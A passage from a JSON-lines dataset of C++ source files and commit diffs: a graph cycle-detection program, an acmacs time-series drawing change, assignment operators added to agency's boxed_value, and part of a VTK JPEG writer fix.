N, M;\n\n        cin >> N >> M;\n\n        vector<list<int>> adj(N);\n\n        for (int i = 0; i < M; i++) {\n            int A, B;\n\n            cin >> A >> B;\n\n            adj[A - 1].push_back(B - 1);\n        }\n\n        if (checarCiclos(adj)) {\n            cout << \"SIM\\n\";\n        }\n        else {\n            cout << \"NAO\\n\";\n        }\n    }\n\n    return 0;\n}\n\nbool checarCiclos(vector<list<int>> &adj) {\n    int N = adj.size();\n    vector<bool> visitado(N, false);\n    vector<bool> local(N, false);\n    \n    for (int i = 0; i < N; i++) {\n        if (checarCiclos(i, adj, visitado, local)) return true;\n    }\n\n    return false;\n}\n\nbool checarCiclos(int origem, vector<list<int>> &adj, vector<bool> &visitado, vector<bool> &local) {\n    if (local[origem]) return true;\n    if (visitado[origem]) return false;\n\n    visitado[origem] = true;\n    local[origem] = true;\n\n    for (auto destinoIt = adj[origem].begin(); destinoIt != adj[origem].end(); ++destinoIt) {\n        if (checarCiclos(*destinoIt, adj, visitado, local)) return true;\n    }\n\n    local[origem] = false;\n    \n    return false;\n}<|endoftext|>"}
{"text":"<commit_before>#include \"acmacs-base\/time-series.hh\"\n#include \"acmacs-base\/rjson-v3-helper.hh\"\n#include \"acmacs-base\/string-compare.hh\"\n#include \"acmacs-map-draw\/mapi-settings.hh\"\n#include \"acmacs-map-draw\/draw.hh\"\n\n\/\/ ----------------------------------------------------------------------\n\n\/\/  \"?start\": \"2019-01\", \"?end\": \"2019-11\",\n\/\/  \"interval\": {\"month\": 1}, \"?\": \"month, week, year, day (interval: month also supported)\",\n\/\/  \"output\": \"\/path\/name-{ts-name}.pdf\",\n\/\/ \"shown-on-all\": <Select Antigens>, -- reference antigens and sera are shown on all maps, select here other antigens to show on all the maps\n\/\/  \"report\": true\n\nbool acmacs::mapi::v1::Settings::apply_time_series()\n{\n    using namespace std::string_view_literals;\n\n    auto ts_params = getenv(\"interval\"sv).visit([]<typename Val>(const Val& val) -> acmacs::time_series::parameters {\n        if constexpr (std::is_same_v<Val, rjson::v3::detail::object>) {\n            for (const auto& interval_n : {\"year\"sv, \"month\"sv, \"week\"sv, \"day\"sv}) {\n                if (const auto& num = val[interval_n]; !num.is_null())\n                    return {interval_n, num.template to<date::period_diff_t>()};\n            }\n            AD_WARNING(\"unrecognized interval specification: {}, month assumed\", val);\n            return {\"month\"sv};\n        }\n        else if constexpr (std::is_same_v<Val, rjson::v3::detail::string>) {\n            return {val.template to<std::string_view>()};\n        }\n        else {\n            AD_WARNING(\"unrecognized interval specification: {}, month assumed\", val);\n            return {\"month\"sv};\n        }\n    });\n\n    if (const auto& start = getenv(\"start\"sv); !start.is_null())\n        ts_params.first = date::from_string(start.to<std::string_view>(), date::allow_incomplete::yes, date::throw_on_error::yes);\n    if (const auto& end = getenv(\"end\"sv); !end.is_null())\n        ts_params.after_last = date::from_string(end.to<std::string_view>(), date::allow_incomplete::yes, date::throw_on_error::yes);\n\n    \/\/ const auto ts_stat = acmacs::time_series::stat(ts_params, tal().tree().all_dates());\n    auto series = acmacs::time_series::make(ts_params);\n\n    \/\/ rjson::v3::copy_if_not_null(getenv(\"report\"sv), param.report);\n\n    const auto& chart_access = chart_draw().chart(0); \/\/ can draw just the chart 0 \/\/ get_chart(getenv(\"chart\"sv), 0);\n    if (const auto filename_pattern = rjson::v3::read_string(getenv(\"output\"sv, toplevel_only::no, throw_if_partial_substitution::no)); filename_pattern.has_value()) {\n        auto filename{substitute_chart_metadata(*filename_pattern, chart_access)};\n        if (!acmacs::string::endswith_ignore_case(filename, \".pdf\"sv))\n            filename = fmt::format(\"{}.pdf\", filename);\n        chart_draw().calculate_viewport();\n        chart_draw().draw(filename, rjson::v3::read_number(getenv(\"width\"sv), 800.0), report_time::no);\n    }\n    else\n        AD_WARNING(\"Cannot make time series: no \\\"output\\\" in {}\", getenv_toplevel());\n    return true;\n\n} \/\/ acmacs::mapi::v1::Settings::apply_time_series\n\n\/\/ ----------------------------------------------------------------------\n\n\n\n\/\/ ----------------------------------------------------------------------\n\/\/\/ Local Variables:\n\/\/\/ eval: (if (fboundp 'eu-rename-buffer) (eu-rename-buffer))\n\/\/\/ End:\n<commit_msg>mapi: time series<commit_after>#include \"acmacs-base\/time-series.hh\"\n#include \"acmacs-base\/rjson-v3-helper.hh\"\n#include \"acmacs-base\/string-compare.hh\"\n#include \"acmacs-map-draw\/mapi-settings.hh\"\n#include \"acmacs-map-draw\/draw.hh\"\n\n\/\/ ----------------------------------------------------------------------\n\n\/\/  \"?start\": \"2019-01\", \"?end\": \"2019-11\",\n\/\/  \"interval\": {\"month\": 1}, \"?\": \"month, week, year, day (interval: month also supported)\",\n\/\/  \"output\": \"\/path\/name-{ts-name}.pdf\",\n\/\/ \"shown-on-all\": <Select Antigens>, -- reference antigens and sera are shown on all maps, select here other antigens to show on all the maps\n\/\/  \"report\": true\n\nbool acmacs::mapi::v1::Settings::apply_time_series()\n{\n    using namespace std::string_view_literals;\n\n    auto ts_params = getenv(\"interval\"sv).visit([]<typename Val>(const Val& val) -> acmacs::time_series::parameters {\n        if constexpr (std::is_same_v<Val, rjson::v3::detail::object>) {\n            for (const auto& interval_n : {\"year\"sv, \"month\"sv, \"week\"sv, \"day\"sv}) {\n                if (const auto& num = val[interval_n]; !num.is_null())\n                    return {interval_n, num.template to<date::period_diff_t>()};\n            }\n            AD_WARNING(\"unrecognized interval specification: {}, month assumed\", val);\n            return {\"month\"sv};\n        }\n        else if constexpr (std::is_same_v<Val, rjson::v3::detail::string>) {\n            return {val.template to<std::string_view>()};\n        }\n        else {\n            AD_WARNING(\"unrecognized interval specification: {}, month assumed\", val);\n            return {\"month\"sv};\n        }\n    });\n\n    if (const auto& start = getenv(\"start\"sv); !start.is_null())\n        ts_params.first = date::from_string(start.to<std::string_view>(), date::allow_incomplete::yes, date::throw_on_error::yes);\n    if (const auto& end = getenv(\"end\"sv); !end.is_null())\n        ts_params.after_last = date::from_string(end.to<std::string_view>(), date::allow_incomplete::yes, date::throw_on_error::yes);\n\n    \/\/ const auto ts_stat = acmacs::time_series::stat(ts_params, tal().tree().all_dates());\n    \/\/ const auto [first, after_last] = acmacs::time_series::suggest_start_end(ts_params, ts_stat);\n    auto series = acmacs::time_series::make(ts_params);\n\n    \/\/ if (!ts_stat.counter().empty())\n    \/\/     AD_INFO(\"time series full range {} .. {}\", ts_stat.counter().begin()->first, ts_stat.counter().rbegin()->first);\n    \/\/ AD_INFO(\"time series suggested  {} .. {}\", first, after_last);\n    AD_INFO(\"time series used       {} .. {}\", ts_params.first, ts_params.after_last);\n    if (rjson::v3::read_bool(getenv(\"report\"sv), false)) {\n        \/\/ AD_INFO(\"time series report:\\n{}\", ts_stat.report(\"    {value}  {counter:6d}\\n\"));\n    }\n\n    const auto& chart_access = chart_draw().chart(0); \/\/ can draw just the chart 0 \/\/ get_chart(getenv(\"chart\"sv), 0);\n    if (const auto filename_pattern = rjson::v3::read_string(getenv(\"output\"sv, toplevel_only::no, throw_if_partial_substitution::no)); filename_pattern.has_value()) {\n        auto filename{substitute_chart_metadata(*filename_pattern, chart_access)};\n        if (!acmacs::string::endswith_ignore_case(filename, \".pdf\"sv))\n            filename = fmt::format(\"{}.pdf\", filename);\n        chart_draw().calculate_viewport();\n        chart_draw().draw(filename, rjson::v3::read_number(getenv(\"width\"sv), 800.0), report_time::no);\n    }\n    else\n        AD_WARNING(\"Cannot make time series: no \\\"output\\\" in {}\", getenv_toplevel());\n    return true;\n\n} \/\/ acmacs::mapi::v1::Settings::apply_time_series\n\n\/\/ ----------------------------------------------------------------------\n\n\n\n\/\/ ----------------------------------------------------------------------\n\/\/\/ Local Variables:\n\/\/\/ eval: (if (fboundp 'eu-rename-buffer) (eu-rename-buffer))\n\/\/\/ End:\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <agency\/detail\/config.hpp>\n#include <agency\/detail\/unique_ptr.hpp>\n#include <memory>\n\nnamespace agency\n{\nnamespace detail\n{\n\n\ntemplate<class T, class Alloc = std::allocator<T>>\nclass boxed_value\n{\n  public:\n    using allocator_type = typename std::allocator_traits<Alloc>::template rebind_alloc<T>;\n    using value_type = typename allocator_type::value_type;\n\n    __AGENCY_ANNOTATION\n    boxed_value()\n      : boxed_value(value_type{})\n    {}\n\n    __AGENCY_ANNOTATION\n    boxed_value(const boxed_value& other)\n      : boxed_value(other.value())\n    {}\n\n    __AGENCY_ANNOTATION\n    boxed_value(boxed_value&& other)\n      : boxed_value(std::move(other.value()))\n    {}\n\n    template<class... Args,\n             class = typename std::enable_if<\n               std::is_constructible<T,Args&&...>::value\n             >::type>\n    __AGENCY_ANNOTATION\n    explicit boxed_value(Args... args)\n      : data_(agency::detail::allocate_unique<T>(allocator_type(), std::forward<Args>(args)...))\n    {}\n\n    __AGENCY_ANNOTATION\n    value_type& value() &\n    {\n      return *data_;\n    }\n\n    __AGENCY_ANNOTATION\n    const value_type& value() const &\n    {\n      return *data_;\n    }\n\n    __AGENCY_ANNOTATION\n    value_type&& value() &&\n    {\n      return std::move(*data_);\n    }\n\n    __AGENCY_ANNOTATION\n    const value_type&& value() const &&\n    {\n      return std::move(*data_);\n    }\n\n    template<class U,\n             class = typename std::enable_if<\n               std::is_assignable<value_type,U&&>::value\n             >::type>\n    __AGENCY_ANNOTATION\n    boxed_value& operator=(U&& other)\n    {\n      value() = std::forward<U>(other);\n      return *this;\n    }\n\n  private:\n    agency::detail::unique_ptr<T,agency::detail::deleter<allocator_type>> data_;\n};\n\n\n\/\/ when the allocator is std::allocator<T>, we can just put this on the stack\ntemplate<class T, class OtherT>\nclass boxed_value<T,std::allocator<OtherT>>\n{\n  public:\n    using allocator_type = std::allocator<T>;\n    using value_type = typename allocator_type::value_type;\n\n    __AGENCY_ANNOTATION\n    boxed_value()\n      : boxed_value(value_type{})\n    {}\n\n    __AGENCY_ANNOTATION\n    boxed_value(const boxed_value& other)\n      : boxed_value(other.value())\n    {}\n\n    __AGENCY_ANNOTATION\n    boxed_value(boxed_value&& other)\n      : boxed_value(std::move(other.value_))\n    {}\n\n    template<class... Args,\n             class = typename std::enable_if<\n               std::is_constructible<T,Args&&...>::value\n             >::type>\n    __AGENCY_ANNOTATION\n    explicit boxed_value(Args&&... args)\n      : value_(std::forward<Args>(args)...)\n    {}\n\n    __AGENCY_ANNOTATION\n    value_type& value()\n    {\n      return value_;\n    }\n\n    __AGENCY_ANNOTATION\n    const value_type& value() const\n    {\n      return value_;\n    }\n\n    template<class U,\n             class = typename std::enable_if<\n               std::is_assignable<value_type,U&&>::value\n             >::type>\n    __AGENCY_ANNOTATION\n    boxed_value& operator=(U&& other)\n    {\n      value() = std::forward<U>(other);\n      return *this;\n    }\n\n  private:\n    value_type value_;\n};\n\n\ntemplate<class T, class Alloc, class... Args>\n__AGENCY_ANNOTATION\nboxed_value<T,Alloc> allocate_boxed(const Alloc&, Args&&... args)\n{\n  return boxed_value<T,Alloc>(std::forward<Args>(args)...);\n}\n\n\n} \/\/ end detail\n} \/\/ end agency\n\n<commit_msg>Add assignment operators to boxed_value<commit_after>#pragma once\n\n#include <agency\/detail\/config.hpp>\n#include <agency\/detail\/unique_ptr.hpp>\n#include <memory>\n\nnamespace agency\n{\nnamespace detail\n{\n\n\ntemplate<class T, class Alloc = std::allocator<T>>\nclass boxed_value\n{\n  public:\n    using allocator_type = typename std::allocator_traits<Alloc>::template rebind_alloc<T>;\n    using value_type = typename allocator_type::value_type;\n\n    __AGENCY_ANNOTATION\n    boxed_value()\n      : boxed_value(value_type{})\n    {}\n\n    __AGENCY_ANNOTATION\n    boxed_value(const boxed_value& other)\n      : boxed_value(other.value())\n    {}\n\n    __AGENCY_ANNOTATION\n    boxed_value(boxed_value&& other)\n      : boxed_value(std::move(other.value()))\n    {}\n\n    template<class... Args,\n             class = typename std::enable_if<\n               std::is_constructible<T,Args&&...>::value\n             >::type>\n    __AGENCY_ANNOTATION\n    explicit boxed_value(Args... args)\n      : data_(agency::detail::allocate_unique<T>(allocator_type(), std::forward<Args>(args)...))\n    {}\n\n    __AGENCY_ANNOTATION\n    boxed_value& operator=(const boxed_value& other)\n    {\n      value() = other.value();\n      return *this;\n    }\n\n    __AGENCY_ANNOTATION\n    boxed_value& operator=(boxed_value&& other)\n    {\n      value() = std::move(other.value());\n      return *this;\n    }\n\n    __AGENCY_ANNOTATION\n    value_type& value() &\n    {\n      return *data_;\n    }\n\n    __AGENCY_ANNOTATION\n    const value_type& value() const &\n    {\n      return *data_;\n    }\n\n    __AGENCY_ANNOTATION\n    value_type&& value() &&\n    {\n      return std::move(*data_);\n    }\n\n    __AGENCY_ANNOTATION\n    const value_type&& value() const &&\n    {\n      return std::move(*data_);\n    }\n\n    template<class U,\n             class = typename std::enable_if<\n               std::is_assignable<value_type,U&&>::value\n             >::type>\n    __AGENCY_ANNOTATION\n    boxed_value& operator=(U&& other)\n    {\n      value() = std::forward<U>(other);\n      return *this;\n    }\n\n  private:\n    agency::detail::unique_ptr<T,agency::detail::deleter<allocator_type>> data_;\n};\n\n\n\/\/ when the allocator is std::allocator<T>, we can just put this on the stack\ntemplate<class T, class OtherT>\nclass boxed_value<T,std::allocator<OtherT>>\n{\n  public:\n    using allocator_type = std::allocator<T>;\n    using value_type = typename allocator_type::value_type;\n\n    __AGENCY_ANNOTATION\n    boxed_value()\n      : boxed_value(value_type{})\n    {}\n\n    __AGENCY_ANNOTATION\n    boxed_value(const boxed_value& other)\n      : boxed_value(other.value())\n    {}\n\n    __AGENCY_ANNOTATION\n    boxed_value(boxed_value&& other)\n      : boxed_value(std::move(other.value_))\n    {}\n\n    template<class... Args,\n             class = typename std::enable_if<\n               std::is_constructible<T,Args&&...>::value\n             >::type>\n    __AGENCY_ANNOTATION\n    explicit boxed_value(Args&&... args)\n      : value_(std::forward<Args>(args)...)\n    {}\n\n    __AGENCY_ANNOTATION\n    value_type& value()\n    {\n      return value_;\n    }\n\n    __AGENCY_ANNOTATION\n    const value_type& value() const\n    {\n      return value_;\n    }\n\n    template<class U,\n             class = typename std::enable_if<\n               std::is_assignable<value_type,U&&>::value\n             >::type>\n    __AGENCY_ANNOTATION\n    boxed_value& operator=(U&& other)\n    {\n      value() = std::forward<U>(other);\n      return *this;\n    }\n\n  private:\n    value_type value_;\n};\n\n\ntemplate<class T, class Alloc, class... Args>\n__AGENCY_ANNOTATION\nboxed_value<T,Alloc> allocate_boxed(const Alloc&, Args&&... args)\n{\n  return boxed_value<T,Alloc>(std::forward<Args>(args)...);\n}\n\n\n} \/\/ end detail\n} \/\/ end agency\n\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkJPEGWriter.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkJPEGWriter.h\"\n\n#include \"vtkErrorCode.h\"\n#include \"vtkImageData.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkUnsignedCharArray.h\"\n\nextern \"C\" {\n#include <jpeglib.h>\n#include <setjmp.h>\n}\n\nvtkCxxRevisionMacro(vtkJPEGWriter, \"1.21\");\nvtkStandardNewMacro(vtkJPEGWriter);\n\nvtkCxxSetObjectMacro(vtkJPEGWriter,Result,vtkUnsignedCharArray);\n\nvtkJPEGWriter::vtkJPEGWriter()\n{\n  this->FileLowerLeft = 1;\n  this->FileDimensionality = 2;\n\n  this->Quality = 95;\n  this->Progressive = 1;\n  this->WriteToMemory = 0;\n  this->Result = 0;\n}\n\nvtkJPEGWriter::~vtkJPEGWriter()\n{\n  if (this->Result)\n    {\n    this->Result->Delete();\n    this->Result = 0;\n    }\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Writes all the data from the input.\nvoid vtkJPEGWriter::Write()\n{\n  this->SetErrorCode(vtkErrorCode::NoError);\n  \n  \/\/ Error checking\n  if ( this->GetInput() == NULL )\n    {\n    vtkErrorMacro(<<\"Write:Please specify an input!\");\n    return;\n    }\n  if (!this->WriteToMemory && ! this->FileName && !this->FilePattern)\n    {\n    vtkErrorMacro(<<\"Write:Please specify either a FileName or a file prefix and pattern\");\n    this->SetErrorCode(vtkErrorCode::NoFileNameError);\n    return;\n    }\n  \n  \/\/ Make sure the file name is allocated\n  this->InternalFileName = \n    new char[(this->FileName ? strlen(this->FileName) : 1) +\n            (this->FilePrefix ? strlen(this->FilePrefix) : 1) +\n            (this->FilePattern ? strlen(this->FilePattern) : 1) + 10];\n  \n  \/\/ Fill in image information.\n  this->GetInput()->UpdateInformation();\n  int *wExtent;\n  wExtent = this->GetInput()->GetWholeExtent();\n  this->FileNumber = this->GetInput()->GetWholeExtent()[4];\n  this->MinimumFileNumber = this->MaximumFileNumber = this->FileNumber;\n  this->FilesDeleted = 0;\n  this->UpdateProgress(0.0);\n  \/\/ loop over the z axis and write the slices\n  for (this->FileNumber = wExtent[4]; this->FileNumber <= wExtent[5]; \n       ++this->FileNumber)\n    {\n    this->MaximumFileNumber = this->FileNumber;\n    this->GetInput()->SetUpdateExtent(wExtent[0], wExtent[1],\n                                      wExtent[2], wExtent[3],\n                                      this->FileNumber, \n                                      this->FileNumber);\n    \/\/ determine the name\n    if (this->FileName)\n      {\n      sprintf(this->InternalFileName,\"%s\",this->FileName);\n      }\n    else \n      {\n      if (this->FilePrefix)\n        {\n        sprintf(this->InternalFileName, this->FilePattern, \n                this->FilePrefix, this->FileNumber);\n        }\n      else\n        {\n        sprintf(this->InternalFileName, this->FilePattern,this->FileNumber);\n        }\n      }\n    this->GetInput()->UpdateData();\n    this->WriteSlice(this->GetInput());\n    if (this->ErrorCode == vtkErrorCode::OutOfDiskSpaceError)\n      {\n      vtkErrorMacro(\"Ran out of disk space; deleting file(s) already written\");\n      this->DeleteFiles();\n      return;\n      }\n    this->UpdateProgress((this->FileNumber - wExtent[4])\/\n                         (wExtent[5] - wExtent[4] + 1.0));\n    }\n  delete [] this->InternalFileName;\n  this->InternalFileName = NULL;\n}\n\n\/\/ these three routines are for wqriting into memory\nextern \"C\"\n{\n  void vtkJPEGWriteToMemoryInit(j_compress_ptr cinfo)\n  {\n    vtkJPEGWriter *self = vtkJPEGWriter::SafeDownCast(\n      static_cast<vtkObject *>(cinfo->client_data));\n    if (self)\n      {\n      vtkUnsignedCharArray *uc = self->GetResult();\n      if (!uc || uc->GetReferenceCount() > 1)\n        {\n        uc = vtkUnsignedCharArray::New();\n        self->SetResult(uc);\n        uc->Delete();\n        \/\/ start out with 10K as a guess for the image size\n        uc->Allocate(10000);\n        }\n      cinfo->dest->next_output_byte = uc->GetPointer(0);\n      cinfo->dest->free_in_buffer = uc->GetSize();\n      }\n  }\n}\n\nextern \"C\"\n{\n  boolean vtkJPEGWriteToMemoryEmpty(j_compress_ptr cinfo)\n  {\n    vtkJPEGWriter *self = vtkJPEGWriter::SafeDownCast(\n      static_cast<vtkObject *>(cinfo->client_data));\n    if (self)\n      {\n      vtkUnsignedCharArray *uc = self->GetResult();\n      \/\/ we must grow the array, we grow by 50% each time\n      int oldSize = uc->GetSize();\n      uc->Resize(oldSize + oldSize\/2);\n      cinfo->dest->next_output_byte = uc->GetPointer(oldSize);\n      cinfo->dest->free_in_buffer = oldSize\/2;\n      }\n    return TRUE;\n  }\n}\n\nextern \"C\"\n{\n  void vtkJPEGWriteToMemoryTerm(j_compress_ptr cinfo)\n  {\n    vtkJPEGWriter *self = vtkJPEGWriter::SafeDownCast(\n      static_cast<vtkObject *>(cinfo->client_data));\n    if (self)\n      {\n      vtkUnsignedCharArray *uc = self->GetResult();\n      \/\/ we must close the array\n      vtkIdType oldSize = uc->GetSize();\n      uc->SetNumberOfTuples(oldSize - static_cast<vtkIdType>(cinfo->dest->free_in_buffer));\n      }\n  }\n}\n\nstruct VTK_JPEG_ERROR_MANAGER\n{\n  struct jpeg_error_mgr pub;\n  jmp_buf setjmp_buffer;\n};\n\ntypedef struct VTK_JPEG_ERROR_MANAGER* VTK_JPEG_ERROR_PTR;\n\nextern \"C\" \n{\n  void\n  VTK_JPEG_ERROR_EXIT (j_common_ptr cinfo)\n{\n  VTK_JPEG_ERROR_PTR jpegErr = (VTK_JPEG_ERROR_PTR) cinfo->err;\n  longjmp(jpegErr->setjmp_buffer, 1);\n}\n}\n\n\n\/\/ we disable this warning because even though this is a C++ file, between\n\/\/ the setjmp and resulting longjmp there should not be any C++ constructors\n\/\/ or destructors.\n#if defined(_MSC_VER) && !defined(VTK_DISPLAY_WIN32_WARNINGS)\n#pragma warning ( disable : 4611 )\n#endif\nvoid vtkJPEGWriter::WriteSlice(vtkImageData *data)\n{\n  \/\/ Call the correct templated function for the output\n  void *outPtr;\n  unsigned int ui;\n\n  int* uext = data->GetUpdateExtent();\n  \n  \/\/ Call the correct templated function for the input\n  outPtr = data->GetScalarPointer(uext[0], uext[2], uext[4]);\n  if (data->GetScalarType() != VTK_UNSIGNED_CHAR)\n    {\n    vtkWarningMacro(\"JPEGWriter only supports unsigned char input\");\n    return;\n    }   \n\n  if (data->GetNumberOfScalarComponents() > MAX_COMPONENTS)\n    {\n    vtkErrorMacro(\"Exceed JPEG limits for number of components (\" << data->GetNumberOfScalarComponents() << \" > \" << MAX_COMPONENTS << \")\" );\n    return;\n    }\n\n  \/\/ overriding jpeg_error_mgr so we don't exit when an error happens\n  \n  \/\/ Create the jpeg compression object and error handler\n  struct jpeg_compress_struct cinfo;\n  struct VTK_JPEG_ERROR_MANAGER jerr;\n  FILE *fp = 0;\n\n  cinfo.err = jpeg_std_error(&jerr.pub);\n  jerr.pub.error_exit = VTK_JPEG_ERROR_EXIT;\n  if (setjmp(jerr.setjmp_buffer))\n    {\n    jpeg_destroy_compress(&cinfo);\n    if (!this->WriteToMemory)\n      {\n      fclose(fp);\n      }\n    this->SetErrorCode(vtkErrorCode::OutOfDiskSpaceError);\n    return;\n    }\n  \n  jpeg_create_compress(&cinfo);\n\n  \/\/ set the destination file\n  struct jpeg_destination_mgr compressionDestination;\n  if (this->WriteToMemory)\n    {\n    \/\/ setup the compress structure to write to memory\n    compressionDestination.init_destination = vtkJPEGWriteToMemoryInit;\n    compressionDestination.empty_output_buffer = vtkJPEGWriteToMemoryEmpty;\n    compressionDestination.term_destination = vtkJPEGWriteToMemoryTerm;\n    cinfo.dest = &compressionDestination;\n    cinfo.client_data = static_cast<void *>(this);\n    }\n  else\n    {\n    fp = fopen(this->InternalFileName, \"wb\");\n    if (!fp)\n      {\n      vtkErrorMacro(\"Unable to open file \" << this->InternalFileName);\n      this->SetErrorCode(vtkErrorCode::CannotOpenFileError);\n      return;\n      }\n    jpeg_stdio_dest(&cinfo, fp);\n    }\n  \n  \/\/ set the information about image\n  int *uExtent = data->GetUpdateExtent();\n  unsigned int width, height;\n  width = uExtent[1] - uExtent[0] + 1;\n  height = uExtent[3] - uExtent[2] + 1;  \n\n  cinfo.image_width = width;    \/* image width and height, in pixels *\/\n  cinfo.image_height = height;\n\n  cinfo.input_components = data->GetNumberOfScalarComponents();\n  switch (cinfo.input_components)\n    {\n    case 1: cinfo.in_color_space = JCS_GRAYSCALE;\n      break;\n    case 3: cinfo.in_color_space = JCS_RGB;\n      break;\n    default: cinfo.in_color_space = JCS_UNKNOWN;\n      break;\n    }\n\n  \/\/ set the compression parameters\n  jpeg_set_defaults(&cinfo);         \/\/ start with reasonable defaults\n  jpeg_set_quality(&cinfo, this->Quality, TRUE);\n  if (this->Progressive)\n    {\n    jpeg_simple_progression(&cinfo);\n    }\n  \n  \/\/ start compression\n  jpeg_start_compress(&cinfo, TRUE);\n\n  \/\/ write the data. in jpeg, the first row is the top row of the image\n  JSAMPROW *row_pointers = new JSAMPROW [height];\n  int *outInc = data->GetIncrements();\n  int rowInc = outInc[1];\n  for (ui = 0; ui < height; ui++)\n    {\n    row_pointers[height - ui - 1] = (JSAMPROW) outPtr;\n    outPtr = (unsigned char *)outPtr + rowInc;\n    }\n  jpeg_write_scanlines(&cinfo, row_pointers, height);\n  \n  if (!this->WriteToMemory)\n    {\n    if (fflush(fp) == EOF)\n      {\n      this->ErrorCode = vtkErrorCode::OutOfDiskSpaceError;\n      fclose(fp);\n      return;\n      }\n    }\n  \n  \/\/ finish the compression\n  jpeg_finish_compress(&cinfo);\n  \n  \/\/ clean up and close the file\n  delete [] row_pointers;\n  jpeg_destroy_compress(&cinfo);\n  \n  if (!this->WriteToMemory)\n    {\n    fclose(fp);\n    }\n}\n\nvoid vtkJPEGWriter::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os,indent);\n\n  os << indent << \"Quality: \" << this->Quality << \"\\n\";\n  os << indent << \"Progressive: \" << (this->Progressive ? \"On\" : \"Off\") << \"\\n\";\n  os << indent << \"Result: \" << this->Result << \"\\n\";\n  os << indent << \"WriteToMemory: \" << (this->WriteToMemory ? \"On\" : \"Off\") << \"\\n\";\n}\n<commit_msg>fix for warnings and other bad things<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkJPEGWriter.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkJPEGWriter.h\"\n\n#include \"vtkErrorCode.h\"\n#include \"vtkImageData.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkUnsignedCharArray.h\"\n\nextern \"C\" {\n#include <jpeglib.h>\n#include <setjmp.h>\n}\n\nvtkCxxRevisionMacro(vtkJPEGWriter, \"1.22\");\nvtkStandardNewMacro(vtkJPEGWriter);\n\nvtkCxxSetObjectMacro(vtkJPEGWriter,Result,vtkUnsignedCharArray);\n\nvtkJPEGWriter::vtkJPEGWriter()\n{\n  this->FileLowerLeft = 1;\n  this->FileDimensionality = 2;\n\n  this->Quality = 95;\n  this->Progressive = 1;\n  this->WriteToMemory = 0;\n  this->Result = 0;\n}\n\nvtkJPEGWriter::~vtkJPEGWriter()\n{\n  if (this->Result)\n    {\n    this->Result->Delete();\n    this->Result = 0;\n    }\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Writes all the data from the input.\nvoid vtkJPEGWriter::Write()\n{\n  this->SetErrorCode(vtkErrorCode::NoError);\n  \n  \/\/ Error checking\n  if ( this->GetInput() == NULL )\n    {\n    vtkErrorMacro(<<\"Write:Please specify an input!\");\n    return;\n    }\n  if (!this->WriteToMemory && ! this->FileName && !this->FilePattern)\n    {\n    vtkErrorMacro(<<\"Write:Please specify either a FileName or a file prefix and pattern\");\n    this->SetErrorCode(vtkErrorCode::NoFileNameError);\n    return;\n    }\n  \n  \/\/ Make sure the file name is allocated\n  this->InternalFileName = \n    new char[(this->FileName ? strlen(this->FileName) : 1) +\n            (this->FilePrefix ? strlen(this->FilePrefix) : 1) +\n            (this->FilePattern ? strlen(this->FilePattern) : 1) + 10];\n  \n  \/\/ Fill in image information.\n  this->GetInput()->UpdateInformation();\n  int *wExtent;\n  wExtent = this->GetInput()->GetWholeExtent();\n  this->FileNumber = this->GetInput()->GetWholeExtent()[4];\n  this->MinimumFileNumber = this->MaximumFileNumber = this->FileNumber;\n  this->FilesDeleted = 0;\n  this->UpdateProgress(0.0);\n  \/\/ loop over the z axis and write the slices\n  for (this->FileNumber = wExtent[4]; this->FileNumber <= wExtent[5]; \n       ++this->FileNumber)\n    {\n    this->MaximumFileNumber = this->FileNumber;\n    this->GetInput()->SetUpdateExtent(wExtent[0], wExtent[1],\n                                      wExtent[2], wExtent[3],\n                                      this->FileNumber, \n                                      this->FileNumber);\n    \/\/ determine the name\n    if (this->FileName)\n      {\n      sprintf(this->InternalFileName,\"%s\",this->FileName);\n      }\n    else \n      {\n      if (this->FilePrefix)\n        {\n        sprintf(this->InternalFileName, this->FilePattern, \n                this->FilePrefix, this->FileNumber);\n        }\n      else\n        {\n        sprintf(this->InternalFileName, this->FilePattern,this->FileNumber);\n        }\n      }\n    this->GetInput()->UpdateData();\n    this->WriteSlice(this->GetInput());\n    if (this->ErrorCode == vtkErrorCode::OutOfDiskSpaceError)\n      {\n      vtkErrorMacro(\"Ran out of disk space; deleting file(s) already written\");\n      this->DeleteFiles();\n      return;\n      }\n    this->UpdateProgress((this->FileNumber - wExtent[4])\/\n                         (wExtent[5] - wExtent[4] + 1.0));\n    }\n  delete [] this->InternalFileName;\n  this->InternalFileName = NULL;\n}\n\n\/\/ these three routines are for wqriting into memory\nextern \"C\"\n{\n  void vtkJPEGWriteToMemoryInit(j_compress_ptr cinfo)\n  {\n    vtkJPEGWriter *self = vtkJPEGWriter::SafeDownCast(\n      static_cast<vtkObject *>(cinfo->client_data));\n    if (self)\n      {\n      vtkUnsignedCharArray *uc = self->GetResult();\n      if (!uc || uc->GetReferenceCount() > 1)\n        {\n        uc = vtkUnsignedCharArray::New();\n        self->SetResult(uc);\n        uc->Delete();\n        \/\/ start out with 10K as a guess for the image size\n        uc->Allocate(10000);\n        }\n      cinfo->dest->next_output_byte = uc->GetPointer(0);\n      cinfo->dest->free_in_buffer = uc->GetSize();\n      }\n  }\n}\n\nextern \"C\"\n{\n  boolean vtkJPEGWriteToMemoryEmpty(j_compress_ptr cinfo)\n  {\n    vtkJPEGWriter *self = vtkJPEGWriter::SafeDownCast(\n      static_cast<vtkObject 